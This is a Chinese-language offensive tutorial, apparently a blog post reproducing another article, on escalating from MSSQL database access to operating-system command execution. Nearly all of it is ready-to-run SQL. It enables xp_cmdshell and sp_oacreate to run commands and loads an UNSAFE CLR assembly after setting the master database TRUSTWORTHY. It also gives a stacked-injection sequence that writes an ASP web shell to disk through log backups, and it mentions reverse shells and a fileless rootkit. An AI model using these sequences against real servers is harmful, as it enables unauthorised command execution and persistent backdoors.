Mssql 提权利用
0x01 前言
网络上很多文章已经总结过相关的利用,这里差不多算是转载师傅的文章做个简单的复现,后续若有持续的利用则在继续添加相关利用。
https://xz.aliyun.com/t/7534
0x02 xp_cmdshell
前提条件
sa 用户权限
1、查询xp_cmdshell状态
查询xp_cmdshell状态
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
或者直接返回1即可
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
2、启用xp_cmdshell
在未启用之前若执行命令则出现报错
启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
3、执行命令
exec master..xp_cmdshell 'whoami'
4、删除与恢复(未做实验,需谨慎使用)
删除xp_cmdshell
exec sp_dropextendedproc 'xp_cmdshell'
恢复xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
0x03 COM组件
1、查看SP_OACREATE状态
直接执行第二条命令即可
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
2、开启SP_OACREATE
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
3、执行命令
此种方法执行命令不可回显,因此可以通过添加用户或者反弹shell的方式进行利用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'
0x04 CLR(没有复现成功)
mssql中的C#扩展,有点像mysql中的udf提权
1、开启CLR功能
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
标记数据库为安全,原文作者认为是为了导入入不安全的程序集
ALTER DATABASE master SET TRUSTWORTHY ON;
2、导入程序集
CREATE ASSEMBLY [Database1]
AUTHORIZATION [dbo]
FROM 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WITH PERMISSION_SET = UNSAFE;
GO
3、创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
4、执行命令
exec dbo.ExecCommand "whoami";
0x05 Log备份getshell
利用前提
(1)知道web的绝对绝对路径
(2)管理员做过备份
1、前提条件(可略过)
管理员做过备份,这里因为需要本地环境实验的关系因此直接把这个贴出来里
绝对路径可以通过程序报错等等其他方式获得。
除此以外还可以通过xp_dirtree的方式查看
2、利用
;alter database database1 set RECOVERY FULL --
;create table cmd2 (a image) --
;backup log database1 to disk = 'C:\hacksql.asp' with init --
;insert into cmd2 (a) values ('<%%25Execute(request("go"))% %25>')--
;backup log database1 to disk = 'C:\hacksql1.asp' --
运行以上代码
可以看到此处生成了asp文件
0x06 其他(待补充)
1、xp_regwrite修改注册表
2、https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
3、MSSQL 2017 Machine Learning Service 机器学习服务sp_execute_external_script执行python和r语言。
0x07 参考
https://y4er.com/post/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://xz.aliyun.com/t/7534